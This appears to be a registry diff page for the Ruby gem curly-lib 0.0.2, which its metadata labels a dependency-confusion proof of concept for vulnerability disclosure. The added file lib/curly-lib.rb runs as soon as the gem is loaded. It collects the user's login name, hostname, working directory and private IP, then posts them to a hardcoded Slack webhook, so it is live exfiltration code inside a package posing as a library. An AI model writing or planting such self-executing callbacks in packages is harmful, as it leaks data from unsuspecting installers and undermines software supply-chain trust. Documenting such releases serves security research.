curly-lib 0.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of curly-lib might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/curly-lib.rb +31 -0
  3. metadata +72 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 4da1a8c9412492f819c28845fbea587bb5188e7657308018ac7105424a174e0e
4
+ data.tar.gz: 19414e8967f88d0e875b419f15252deebd13d34ba6a878f311b64551f82e6000
5
+ SHA512:
6
+ metadata.gz: 318ff53732383643cdedd397f809bd834eb1beae4a91edda5862c56827a46b0d777da803152972af475a5e170f27ac7712decdf66e2c761fbf48bf69a5aafa8c
7
+ data.tar.gz: 8c257471e7e003e7b79ada1d21b520e729ebf64c26b2e47793c466a9a27747062e70ceb30df52221f6005f5de3661da4a783dce262c5e7de9fc1d2ad6909e258
data/lib/curly-lib.rb ADDED
@@ -0,0 +1,31 @@
1
+ module Deviceinfo
2
+
3
+ require 'json'
4
+ require 'net/http'
5
+ require 'socket'
6
+ require 'etc'
7
+
8
+ #Private IP
9
+ privip = UDPSocket.open {|s| s.connect("146.190.26.50", 1); s.addr.last}
10
+ #Hostname
11
+ hostname = Socket.gethostname
12
+ #Current directory
13
+ dir = Dir.pwd
14
+ whoami = Etc.getlogin
15
+
16
+ uri = URI('https://hooks.slack.com/services/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')
17
+ req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
18
+
19
+ req.body = {
20
+ text: "New Usage:" + "\n"+
21
+ "User/Hostname: " + whoami+'/'+hostname + "\n" +
22
+ "Private IP: " + privip + "\n" +
23
+ "Directory: " + dir,
24
+ }.to_json
25
+
26
+ Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|
27
+ http.request(req)
28
+ end
29
+
30
+ end
31
+
metadata ADDED
@@ -0,0 +1,72 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: curly-lib
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.2
5
+ platform: ruby
6
+ authors:
7
+ - Ali Fathi
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2024-05-04 00:00:00.000000000 Z
12
+ dependencies:
13
+ - !ruby/object:Gem::Dependency
14
+ name: bundler
15
+ requirement: !ruby/object:Gem::Requirement
16
+ requirements:
17
+ - - "~>"
18
+ - !ruby/object:Gem::Version
19
+ version: '1.17'
20
+ type: :development
21
+ prerelease: false
22
+ version_requirements: !ruby/object:Gem::Requirement
23
+ requirements:
24
+ - - "~>"
25
+ - !ruby/object:Gem::Version
26
+ version: '1.17'
27
+ - !ruby/object:Gem::Dependency
28
+ name: rake
29
+ requirement: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - "~>"
32
+ - !ruby/object:Gem::Version
33
+ version: '10.0'
34
+ type: :development
35
+ prerelease: false
36
+ version_requirements: !ruby/object:Gem::Requirement
37
+ requirements:
38
+ - - "~>"
39
+ - !ruby/object:Gem::Version
40
+ version: '10.0'
41
+ description: 'Vulnerability Disclosure: Dependency confusion vulnerability POC! get
42
+ in contact with alifathi@wearehackerone.com.'
43
+ email: alifathi@wearehackerone.com
44
+ executables: []
45
+ extensions: []
46
+ extra_rdoc_files: []
47
+ files:
48
+ - lib/curly-lib.rb
49
+ homepage: https://hackerone.com/alifathi
50
+ licenses:
51
+ - MIT
52
+ metadata: {}
53
+ post_install_message:
54
+ rdoc_options: []
55
+ require_paths:
56
+ - lib
57
+ required_ruby_version: !ruby/object:Gem::Requirement
58
+ requirements:
59
+ - - ">="
60
+ - !ruby/object:Gem::Version
61
+ version: '0'
62
+ required_rubygems_version: !ruby/object:Gem::Requirement
63
+ requirements:
64
+ - - ">="
65
+ - !ruby/object:Gem::Version
66
+ version: '0'
67
+ requirements: []
68
+ rubygems_version: 3.0.3.1
69
+ signing_key:
70
+ specification_version: 4
71
+ summary: 'Vulnerability Disclosure: Dependency confusion vulnerability POC!'
72
+ test_files: []